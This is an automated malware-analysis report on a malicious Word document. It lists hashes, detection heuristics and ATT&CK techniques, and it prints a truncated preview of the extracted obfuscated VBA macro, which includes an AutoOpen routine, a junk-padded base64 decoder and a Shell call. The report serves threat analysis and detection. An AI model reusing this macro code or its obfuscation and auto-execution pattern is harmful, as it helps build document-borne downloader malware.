Office (OLE) malware analysis — malicious · 9e02ed9e28a3a377

MALICIOUS

Office (OLE)

543.5 KB Created: 2017-05-31 14:08:00 Authoring application: Microsoft Office Word First seen: 2017-10-10

MD5: 9150034bd737e71267c307c8494c7f76 SHA-1: 17ad11a88f8cc6b1d46249ad7640ffd20a5d9b5b SHA-256: 9e02ed9e28a3a37777630d3aa6c2728b1755734ec07bbb952245e72422805f98

172 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros, indicated by multiple heuristic firings including 'OLE_VBA_MACROS' and 'OLE_VBA_SHELL'. The 'AutoOpen' macro suggests an attempt to automatically execute malicious code upon opening. The presence of 'macros.bas' and the critical ClamAV detection further support its malicious nature, likely acting as a downloader for further stages.

Heuristics 7

ClamAV: Doc.Macro.Valyria-6327969-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Macro.Valyria-6327969-0
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
End If
If Len(Yi9gD) > 0 Then Shell Yi9gD, SB4cfS
End Sub
```

AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro

Matched line in script

Attribute VB_Name = "IDIeFrz1"
Sub AutoOpen()
Dim tN2T0Rl As Integer

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	26050 bytes
SHA-256: `63566fbc45b320d9af7e673baa07bd2ea92795c38ed1e50f1508a984eb8ccf67`
Detection ClamAV: No threats found Obfuscation or payload: likely 321 of 597 identifiers look randomly generated (e.g. 'NwY19leGVfb3V0cHV0NEQyMzJBMC5leGUsaHR0cD') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "IDIeFrz1" Sub AutoOpen() Dim tN2T0Rl As Integer tN2T0Rl = -158 + 216 If tN2T0Rl = 53083 Then dVK9jtLfO = 9942.8617209742 Else hJmLDEI = FwRGByvb9 End If Dim ID7cuIGE As Integer ID7cuIGE = -158 + 216 If ID7cuIGE <> 53083 Then jhCQSB = Ne93y Else TrISG = 4676.5205194098 End If Dim UqJkV As Integer UqJkV = -158 + 216 If UqJkV > 53083 Then PVfXSz = -18675 Else xbNsPo = NNsvnF End If Dim Rwk69Izt4 As Integer Rwk69Izt4 = 13050 / 75 If Rwk69Izt4 <> 52849 Then OVj1ib = 212 Else pW39M = 14325.538708964 End If Dim V071fviZK As Integer V071fviZK = 13050 / 75 If V071fviZK > 52849 Then yez9wkU5 = 43699.699839669 Else t4erfd = 60 End If XdNefVhB0 Dim qowcy As Integer qowcy = 31457 / 379 If qowcy < 56428 Then Bm3DQ = 47322.870787634 Else iV1eM = 9099 End If Dim f9TZtz1 As Integer f9TZtz1 = 31457 / 379 If f9TZtz1 < 56428 Then mlsWMtUB = 35707.326674055 Else iNtcb = False End If Dim BOF5G6Ed9 As Integer BOF5G6Ed9 = 373 - 307 If BOF5G6Ed9 < 41398 Then kATB8Mu = 0 Else nrz9MmlbH = True End If Dim Zi2q4u1m As Integer Zi2q4u1m = 373 - 307 If Zi2q4u1m > 41398 Then yu6a9HPF = Vmk5WSz Else D9jcmArg5 = True End If End Sub Attribute VB_Name = "BnZ3crK5" Private Const rc2Nx = 16711680 Private Const hCtUm1el = 65280 Private Const NT3U9ox = 255 Private Const LWUPFD = 262144 Private Const d2D1GQoUE = 4096 Private Const ZgCMP9vR8 = 64 Private Const SsdIM = 256 Private Const Mfd1N = 65536 Public Function Pdufxr(tiAjSQc As String) As String Dim RB3XOV0b() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String Dim lTemp As Long Dim R7mAgzRQ As Integer R7mAgzRQ = 19072 / 149 If R7mAgzRQ > 56553 Then DloiLGAU = 17153.719934972 Else noueIf = -1923523108 End If Dim oV9D5dvaj As Integer oV9D5dvaj = 19072 / 149 If oV9D5dvaj > 56553 Then gF1SsKGN = glCK6wS2 Else DVsYP6k0 = glCK6wS2 End If Dim SK4W1 As Integer SK4W1 = 156 - 114 If SK4W1 <> 59613 Then TeVaxW = 60672.826715482 Else SqhBnH = 12853.190865646 End If Dim d2YKFa As Integer d2YKFa = 156 - 114 If d2YKFa < 59613 Then OvhcsP = True Else sxmsq = 22631.437250401 End If tiAjSQc = Replace(tiAjSQc, vbCr, vbNullString) Dim g7SJBYg As Integer g7SJBYg = 26280 / 146 If g7SJBYg > 65490 Then B5xWO = swxJAN Else jBAfxi = -1648786846 End If Dim PohH2LOsg As Integer PohH2LOsg = 26280 / 146 If PohH2LOsg < 65490 Then F2CYHe3Pm = 29294.439337779 Else PUXw3mVc = 16551.246994999 End If Dim Cx1PcafOY As Integer Cx1PcafOY = 279 - 199 If Cx1PcafOY = 50962 Then cQkKp = 135 Else C5OVjlcoh = 10569.659394198 End If Dim REeAr8 As Integer REeAr8 = 279 - 199 If REeAr8 = 50962 Then XVCq5Qu9H = 65073.632119971 Else gvrTC = 21404.21937083 End If tiAjSQc = Replace(tiAjSQc, vbLf, vbNullString) Dim PsGBqp3l As Integer PsGBqp3l = -10187 + 10188 If PsGBqp3l > 34059 Then XXbT1 = True Else LjB7Z20 = AZlRb End If Dim OjMF1S2H As Integer OjMF1S2H = -10187 + 10188 If OjMF1S2H < 34059 Then jdJOSZcep = 24019 Else p5KhZ03ox = 50440.598354072 End If lTemp = Len(tiAjSQc) Mod 4 Dim ix7zyQCP As Integer ix7zyQCP = 832 - 813 If ix7zyQCP > 47589 Then CZqgc7 = 186 Else GVXoFAsc0 = 2006 End If Dim Ob4O5k9 As Integer Ob4O5k9 = 832 - 813 If Ob4O5k9 <> 47589 Then G9g0Rh = 40028.761522361 Else r4dFy5R7 = 40028.761522361 End If Dim ZhiVJF681 As Integer ZhiVJF681 = 832 - 813 If ZhiVJF681 <> 47589 Then tRBj9 = 126 Else r5Z9pjUo = 42731.433551696 End If Dim UFe3nYS As Integer UFe3nYS = 634 - 601 If UFe3nYS = 63703 Then KRwCd = jdD72qcLQ Else Jm4OA8L7 = -31268 End If Dim fuIgXxy As Integer fuIgXxy = 634 - 601 If fuIgXxy = 63703 Then nyVmf = True Else dclHAZgb = Y586YK End If Dim f3RVT7HSp As Integer f3RVT7HSp = 634 - 601 If f3RVT7HSp <> 63703 Then s8MEp0G = 0 Else hZ3LlIj = False End If Dim XCxyMd As Integer XCxyMd = 11350 - 11349 If XCxyMd = 61287 Then rQzRrK5d = -2647 Else BlEJj = 48677.730704925 End If Dim qmDXSlHO As Integer qmDXSlHO = 11350 - 11349 If qmDXSlHO < 61287 Then u9I6qh = 218 Else KJpKgZ7 = bMwmuh End If Dim wPrNEcdfJ As Integer wPrNEcdfJ = 11350 - 11349 If wPrNEcdfJ = 61287 Then nIL9Wzhg = 54354.526531006 Else vAIF7 = 0 End If Dim Wmalrz As Integer Wmalrz = 215 - 205 If Wmalrz = 41930 Then vxVgUR5Ni = 141 Else JtSuRYX = 40554.994748355 End If Dim dUeDzp50a As Integer dUeDzp50a = 215 - 205 If dUeDzp50a < 41930 Then w6ygh7 = 249 Else hqniudhz = False End If Dim CIOjB As Integer CIOjB = 341 - 170 If CIOjB = 45703 Then BpnC2g = E9ymX0N Else mapTzl = False End If Dim a2l0c6BI As Integer a2l0c6BI = 341 - 170 If a2l0c6BI > 45703 Then JdtqkC0W = gBchy Else rDlJtFm1B = 4258.0901252651 End If Dim xGjC0v4 As Integer xGjC0v4 = 29140 / 235 If xGjC0v4 = 34530 Then zjbBdYo = 59280.63982158 Else P3qR8cZ = 2045.1802893073 End If Dim OF28xfSZ As Integer OF28xfSZ = 29140 / 235 If OF28xfSZ > 34530 Then h2B3vdq = 190.62711652712 Else LZ17AaMV = -1589923324 End If If InStrRev(tiAjSQc, "==") Then Dim Qh9Pnbye As Integer Qh9Pnbye = 24246 / 449 If Qh9Pnbye > 40480 Then zQSDJ = -9628 Else iVHWsBvQi = 234 End If Dim AKAMBqsk As Integer AKAMBqsk = 24246 / 449 If AKAMBqsk = 40480 Then B2Xi1Hqk = 0 Else sampqb = DxcWwgijz End If Dim hMOmf As Integer hMOmf = 24246 / 449 If hMOmf < 40480 Then FiQvsN = False Else aOz36v0Ce = 51961.361719703 End If Dim e43snBbM As Integer e43snBbM = 4830 / 30 If e43snBbM = 59039 Then Fl4ek2Tv1 = -54771134 Else JBQUAz = True End If Dim mFO70ZzMs As Integer mFO70ZzMs = 4830 / 30 If mFO70ZzMs > 59039 Then mNCWY = 0 Else UVwq7HFNd = False End If iPad = 2 ElseIf InStrRev(tiAjSQc, "=") Then Dim oujq78IJl As Integer oujq78IJl = 19470 / 590 If oujq78IJl = 47953 Then sjXFvOf = 151 Else CUVK0 = 443.73614575134 End If Dim ylefISPr As Integer ylefISPr = 19470 / 590 If ylefISPr < 47953 Then JaG2oRS = OufXgjJAn Else CdEYGzkFQ = 21692 End If Dim MLemYN0su As Integer MLemYN0su = 19470 / 590 If MLemYN0su = 47953 Then XDzaPq = 24677 Else BvKn7 = 20481.520351434 End If iPad = 1 End If Dim wY5wgK0QE As Integer wY5wgK0QE = 350 - 169 If wY5wgK0QE < 38000 Then kSmFHq1 = 0 Else zwjsyR8ln = xVyMg9K End If Dim M680KjOV As Integer M680KjOV = 350 - 169 If M680KjOV <> 38000 Then dXmDlst7 = 65292.91967339 Else dTEdz = 15712 End If Dim ZCGrpxd As Integer ZCGrpxd = 194 - 149 If ZCGrpxd <> 34843 Then jH8pBXi4 = 55603.601804701 Else QhdUKjD = bgU5kNADn End If Dim LWlEcw3 As Integer LWlEcw3 = 194 - 149 If LWlEcw3 <> 34843 Then M0c2HTsv = 241 Else mMrG8uL = 51870.440588723 End If For lTemp = 0 To 255 Select Case lTemp Case 65 To 90 Dim cMyD8Ov As Integer cMyD8Ov = 22763 / 1751 If cMyD8Ov < 42083 Then mmHZMxBao = 186 Else ycJIDn57 = True End If Dim wbRjeK As Integer wbRjeK = 22763 / 1751 If wbRjeK > 42083 Then tcLQkHG = -22741 Else Olj7Kz3 = 22681.573937903 End If Dim weqtzEfH As Integer weqtzEfH = 203 - 34 If weqtzEfH < 58538 Then k2X9vb17B = 154 Else DL4sX = 36618.605152073 End If Dim W0lRFfg As Integer W0lRFfg = 203 - 34 If W0lRFfg < 58538 Then N0TyH4 = -377 Else VqLvHPM = 27 End If Dim F12wo As Integer F12wo = 203 - 34 If F12wo <> 58538 Then HuZXUKB = 47367.982710363 Else k09iR = False End If bTrans(lTemp) = lTemp - 65 Case 97 To 122 Dim wQwKS9Er As Integer wQwKS9Er = -151 + 230 If wQwKS9Er = 46647 Then bCFi5Z0nw = m6F1o7B Else yY5Vr = 196 End If Dim JuKfpMnB As Integer JuKfpMnB = -151 + 230 If JuKfpMnB = 46647 Then ygQXPslV = 60294.591082635 Else Au6fv71 = 60294.591082635 End If Dim WW6cvTxIX As Integer WW6cvTxIX = -151 + 230 If WW6cvTxIX < 46647 Then wxTc0KVmH = jyoU0 Else ZtEBAO = 24 End If bTrans(lTemp) = lTemp - 71 Case 48 To 57 Dim fFnXcuRZ As Integer fFnXcuRZ = 7918 - 7914 If fFnXcuRZ = 44206 Then bv4QUeu = -28163 Else Pg6ap = 32 End If Dim FyKSs6lwt As Integer FyKSs6lwt = 7918 - 7914 If FyKSs6lwt > 44206 Then CPH5c = False Else M5Rw2ODW = -378741706 End If Dim Zb4my As Integer Zb4my = 7918 - 7914 If Zb4my <> 44206 Then GiKb7 = 19854.283597984 Else rz26EQ = ySqRGAowa End If Dim X9bWvn As Integer X9bWvn = 8520 / 60 If X9bWvn = 48173 Then A7KA3kd = 5577 Else x9j7CuhV = 60498.739096148 End If Dim zz8CM As Integer zz8CM = 8520 / 60 If zz8CM = 48173 Then Qe4J5zv = -2118073298 Else lZ9gqiQoB = 123 End If Dim xXsj1 As Integer xXsj1 = 8520 / 60 If xXsj1 <> 48173 Then bEs5f = 105 Else t9wbB3To = Bhd6m1gfw End If bTrans(lTemp) = lTemp + 4 Case 43 Dim e9oZrCkE As Integer e9oZrCkE = 2200 / 40 If e9oZrCkE <> 45576 Then F4fqTn5y1 = 2476.966009812 Else dQXzD4w = JxBPda41 End If Dim rfQbm As Integer rfQbm = 2200 / 40 If rfQbm <> 45576 Then oMAfzk = 54788.415216305 Else WKor3AQ = True End If bTrans(lTemp) = 62 Case 47 Dim NNpH6E As Integer NNpH6E = -153 + 267 If NNpH6E < 38245 Then CMf83uNCH = -15016 Else HbHnXSVg = gZUwFlt End If Dim kJsmR1jr7 As Integer kJsmR1jr7 = -153 + 267 If kJsmR1jr7 < 38245 Then KKB2thgGL = 33656.870509881 Else x68RVOQNA = True End If Dim gIpxbQO As Integer gIpxbQO = -153 + 267 If gIpxbQO <> 38245 Then qFrTDR = 30271 Else VHQjC = 18408.503984017 End If Dim MuXgQ0IZ As Integer MuXgQ0IZ = -233 + 326 If MuXgQ0IZ < 62546 Then vVJFNWu = OPuCUMwV Else wYB7r = OPuCUMwV End If Dim Mj6K4eZ As Integer Mj6K4eZ = -233 + 326 If Mj6K4eZ <> 62546 Then fCDiqWKU = 27203.380429019 Else aEOgasip = SvOJz8 End If bTrans(lTemp) = 63 End Select Next lTemp Dim aNjg1Q As Integer aNjg1Q = 13061 - 13060 If aNjg1Q <> 42580 Then Fe6L3mZj = 5481 Else qOt8MlP1 = 5481 End If Dim jXG2jl As Integer jXG2jl = 13061 - 13060 If jXG2jl <> 42580 Then cM5pW7Ydi = 40433.595169262 Else schjU9Q = -1245224840 End If Dim ZnPKtjr As Integer ZnPKtjr = 12328 / 536 If ZnPKtjr <> 45729 Then J54Bwfg = 45381.73205016 Else pvIafnjVs = True End If Dim PXfJQC7FA As Integer PXfJQC7FA = 12328 / 536 If PXfJQC7FA < 45729 Then Gzq5M4Vyw = 65332.122231783 Else p4xZCT3Rz = -2116714532 End If For lTemp = 0 To 63 lPowers6(lTemp) = lTemp * ZgCMP9vR8 lPowers12(lTemp) = lTemp * d2D1GQoUE lPowers18(lTemp) = lTemp * LWUPFD Next lTemp Dim ngYDXruK As Integer ngYDXruK = 22743 / 133 If ngYDXruK > 34687 Then RpY0tJvPZ = 51005.328247112 Else M4whLuycf = 43788.515503451 End If Dim lNHbT4V As Integer lNHbT4V = 22743 / 133 If lNHbT4V = 34687 Then IdMwJ = ihiUxm Else rgsJG8f = True End If Dim MS8iu As Integer MS8iu = 75 * 1 If MS8iu = 54229 Then V8jZPfQS = 21246 Else UJ80mOt = 67 End If Dim HmG9wCeF As Integer HmG9wCeF = 75 * 1 If HmG9wCeF = 54229 Then BAXb6m = -953739106 Else ok0QFV = 170 End If bIn = StrConv(tiAjSQc, vbFromUnicode) Dim nK0ME98m As Integer nK0ME98m = 1670 - 1658 If nK0ME98m < 62224 Then NQDbLRX = 1951.6004158659 Else OGTX4x = 28675 End If Dim vhkF7c As Integer vhkF7c = 1670 - 1658 If vhkF7c <> 62224 Then eCsAv = 248 Else IKyXPSDg = 47637.038182486 End If Dim hZR4eTIva As Integer hZR4eTIva = 1670 - 1658 If hZR4eTIva < 62224 Then ENP5AGI = 237 Else ekYNHu = 57338.869837618 End If Dim EqJPM As Integer EqJPM = 124 - 48 If EqJPM = 61142 Then HiOY4GJL = 23945 Else aT8rlDChO = -510700692 End If Dim NUqGh As Integer NUqGh = 124 - 48 If NUqGh = 61142 Then hfuvVWYR = 13176.245759402 Else efEVH4WeY = 13176.245759402 End If ReDim RB3XOV0b((((UBound(bIn) + 1) \ 4) * 3) - 1) For lChar = 0 To UBound(bIn) Step 4 Dim exBtAXO As Integer exBtAXO = 15 * 12 If exBtAXO > 59935 Then rfjlI = -19828 Else PSYRM = 0 End If Dim VRJHs9M As Integer VRJHs9M = 15 * 12 If VRJHs9M = 59935 Then P93cv = -23916 Else nGjnY9Eto = -23916 End If lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3)) Dim WSvzZxdb As Integer WSvzZxdb = 379 - 267 If WSvzZxdb < 34704 Then s1S8aU4fe = 26915.359608565 Else OJ6UA = 3286 End If Dim B4r8lcp As Integer B4r8lcp = 379 - 267 If B4r8lcp < 34704 Then dVFwZu = 248 Else TuB6bVkM = 49842.015064325 End If Dim q2Nhze6Fi As Integer q2Nhze6Fi = 5429 / 61 If q2Nhze6Fi < 52933 Then En3phrDCG = 17388.556415371 Else IuSMbUrJ = 7 End If Dim E3BWp As Integer E3BWp = 5429 / 61 If E3BWp < 52933 Then FD5wy = 0 Else tRDaj3rBY = True End If lTemp = lQuad And rc2Nx Dim voaLy50 As Integer voaLy50 = 155 - 60 If voaLy50 < 51981 Then EholtDZU = 58982.774241411 Else dFNQfBGUr = True End If Dim IbwmeRWga As Integer IbwmeRWga = 155 - 60 If IbwmeRWga <> 51981 Then nFMxiEt = False Else J7wfPh8 = 4939.6408402361 End If Dim l9sETtSUg As Integer l9sETtSUg = 155 - 60 If l9sETtSUg = 51981 Then qD8HM1E5n = -1100587540 Else WLnDQoR = -2389 End If Dim niMu6xcH5 As Integer niMu6xcH5 = -23 + 79 If niMu6xcH5 < 46935 Then EhV4TmIt = False Else OS19ZGP = 156 End If Dim gJpvmh2 As Integer gJpvmh2 = -23 + 79 If gJpvmh2 < 46935 Then ah6Xn = -827099626 Else imlr0vwae = 42648.188420741 End If RB3XOV0b(lPos) = lTemp \ Mfd1N Dim sHWZG As Integer sHWZG = -151 + 271 If sHWZG > 49688 Then yjVumTdb = False Else JoRl7nUi = False End If Dim MTg9sR7un As Integer MTg9sR7un = -151 + 271 If MTg9sR7un <> 49688 Then cbVMEv = -4476 Else wryRZ = 44 End If Dim Yyu5S As Integer Yyu5S = 334 - 180 If Yyu5S <> 44880 Then EVenQ7y0 = False Else lpxT5By = 0 End If Dim Z0E6JnIG As Integer Z0E6JnIG = 334 - 180 If Z0E6JnIG < 44880 Then qhbWIsd = 0 Else puVjeQc0 = 106 End If Dim V0WCXnh5R As Integer V0WCXnh5R = 334 - 180 If V0WCXnh5R <> 44880 Then QdrEIkVJo = 21898 Else COuRqQgU5 = 21898 End If lTemp = lQuad And hCtUm1el Dim SE4m1 As Integer SE4m1 = -6154 + 6157 If SE4m1 <> 52659 Then QCPLUH = 168 Else f5eYp = uFcyIY End If Dim BVjADB6H0 As Integer BVjADB6H0 = -6154 + 6157 If BVjADB6H0 <> 52659 Then GdV62rk = 47 Else Embzck = 43576.85265079 End If Dim x8VsLmcGP As Integer x8VsLmcGP = -6154 + 6157 If x8VsLmcGP > 52659 Then vCnMlHy4 = 4786 Else ttc8T = -1309521410 End If Dim eXyezYx As Integer eXyezYx = 12240 / 102 If eXyezYx = 63674 Then gAUl2 = False Else TagNc = False End If Dim cXZ1QzJ As Integer cXZ1QzJ = 12240 / 102 If cXZ1QzJ < 63674 Then AmjSIBRca = 0 Else sIc931sR0 = 110 End If Dim iT43ZP9V As Integer iT43ZP9V = 12240 / 102 If iT43ZP9V > 63674 Then fgKyq260H = 0 Else xLEfd = 7026.511916055 End If RB3XOV0b(lPos + 1) = lTemp \ SsdIM Dim njcioMPFf As Integer njcioMPFf = 10829 / 119 If njcioMPFf > 41013 Then GxeEvlh = True Else hEVzqcLh = 12685.229739908 End If Dim MM2sZUl As Integer MM2sZUl = 10829 / 119 If MM2sZUl > 41013 Then nGeHZ = 170 Else SpTarx5X = 0 End If Dim TX5UnBW As Integer TX5UnBW = 10829 / 119 If TX5UnBW > 41013 Then FuvyU = True Else ylvcyek = 56796.10243964 End If RB3XOV0b(lPos + 2) = lQuad And NT3U9ox lPos = lPos + 3 Next lChar Dim sUbxOlF As Integer sUbxOlF = -74 + 103 If sUbxOlF > 61421 Then F12kSj = 21502.511818975 Else vM2S8wv7x = 0 End If Dim Hc5RGxy As Integer Hc5RGxy = -74 + 103 If Hc5RGxy < 61421 Then fjhL05 = xzieEUHT Else nucpUrt = 42655.88932273 End If Dim s6okwOQ As Integer s6okwOQ = -74 + 103 If s6okwOQ > 61421 Then vJsZ1 = 10465.459260159 Else zkplxO = 4367 End If sOut = StrConv(RB3XOV0b, vbUnicode) Dim hGh4s3 As Integer hGh4s3 = -1247 + 1267 If hGh4s3 <> 37919 Then Rl0TXmcG = RLxgebGJc Else vG4cTV5dr = -1287646670 End If Dim pesNGX As Integer pesNGX = -1247 + 1267 If pesNGX = 37919 Then taQAO = 59143.097849205 Else FVbB6h = 41559.105186403 End If If iPad Then sOut = Left$(sOut, Len(sOut) - iPad) Dim wowbAg As Integer wowbAg = 1134 - 1108 If wowbAg <> 47416 Then pOq90 = -4013 Else rNHrM6 = 96 End If Dim atLhnPY As Integer atLhnPY = 1134 - 1108 If atLhnPY > 47416 Then SvJHnT = 1739.3989361549 Else Aq5jfLlY = 14993 End If Pdufxr = sOut End Function Attribute VB_Name = "gprdX025" Public Sub imkNW(Yi9gD As String, SB4cfS As Integer) Dim uOV3lnZD As Integer uOV3lnZD = 329 - 190 If uOV3lnZD < 59443 Then HnExYB = True Else GaEK9fdMW = WzjvqQ0V End If Dim J9Nzk6 As Integer J9Nzk6 = 329 - 190 If J9Nzk6 > 59443 Then O7n8Rw = 0 Else WNAn6Si = 0 End If Dim fBU7qCb As Integer fBU7qCb = 329 - 190 If fBU7qCb <> 59443 Then GgWQyGkl = 4455.4798799012 Else RWNlAd = SikDNTzRW End If Dim j0saTi8A As Integer j0saTi8A = 253 - 215 If j0saTi8A = 54421 Then tVGX0E6 = 24334.300442428 Else DhlJ7HF = 58895.09628613 End If Dim I06pQ71 As Integer I06pQ71 = 253 - 215 If I06pQ71 <> 54421 Then q5Npi = False Else fP3T9Kdy = 58532.392460163 End If Dim JaxTbsXki As Integer JaxTbsXki = 31941 / 189 If JaxTbsXki <> 57302 Then Uu5HN83 = 54738.725299342 Else eyOiv9R = False End If Dim ct97REu As Integer ct97REu = 31941 / 189 If ct97REu = 57302 Then H70ksTWU = True Else QtjJKUeXF = 4198.2811607729 End If Dim NputSMo As Integer NputSMo = 31941 / 189 If NputSMo = 57302 Then i7Sszat = 890.81072639722 Else tHqNZgw = -1739108380 End If Dim kE3tMW5S As Integer kE3tMW5S = 368 - 291 If kE3tMW5S > 34594 Then DXrQ4xD = W80bvt2 Else UgD87aYN = -507293314 End If Dim sJnj4LlMi As Integer sJnj4LlMi = 368 - 291 If sJnj4LlMi = 34594 Then zYwlJzKnG = 33049.406648614 Else chJT8tX = 144 End If Dim mDcNep As Integer mDcNep = 368 - 291 If mDcNep < 34594 Then TvhKXWHFC = -1449342030 Else ChQj1 = OSo2nRmiB End If Dim xovyBqJ As Integer xovyBqJ = 28866 / 283 If xovyBqJ = 41662 Then oJb74 = -416893568 Else e2NCBTQFz = -416893568 End If Dim BPd5m As Integer BPd5m = 28866 / 283 If BPd5m > 41662 Then ZCyzAWr = -2118455662 Else oUPBc = HcXIj8ioy End If Dim sLrg5OU As Integer sLrg5OU = -78 + 217 If sLrg5OU <> 61367 Then QQ49zrM = 18200.335310311 Else nmFRb5 = 18200.335310311 End If Dim DOw4G9 As Integer DOw4G9 = -78 + 217 If DOw4G9 > 61367 Then GPY5fu = True Else h0V5KT1E = 0 End If Dim UNe6i As Integer UNe6i = -78 + 159 If UNe6i > 47480 Then F8dva = False Else dD3ilQOI4 = 0 End If Dim xdhpX As Integer xdhpX = -78 + 159 If xdhpX > 47480 Then EpntLRWfk = 0 Else Fzkyu = 25780 End If If Len(Yi9gD) > 0 Then Shell Yi9gD, SB4cfS End Sub Attribute VB_Name = "gjeGQWw" Public Sub XdNefVhB0() Dim avJ7iQhfz As Integer avJ7iQhfz = 197 - 67 If avJ7iQhfz <> 53557 Then L9InfLmb = 32 Else k2O73uXP4 = Z78Ww End If Dim vmjW7HiPK As Integer vmjW7HiPK = 197 - 67 If vmjW7HiPK > 53557 Then dKmc2hVLn = True Else lgkpEPbV = oy1kLXZ End If Dim UJf0chPa As Integer UJf0chPa = 197 - 67 If UJf0chPa <> 53557 Then V2tfmM = True Else …

Open this report in the interactive analyzer, or submit your own file for analysis.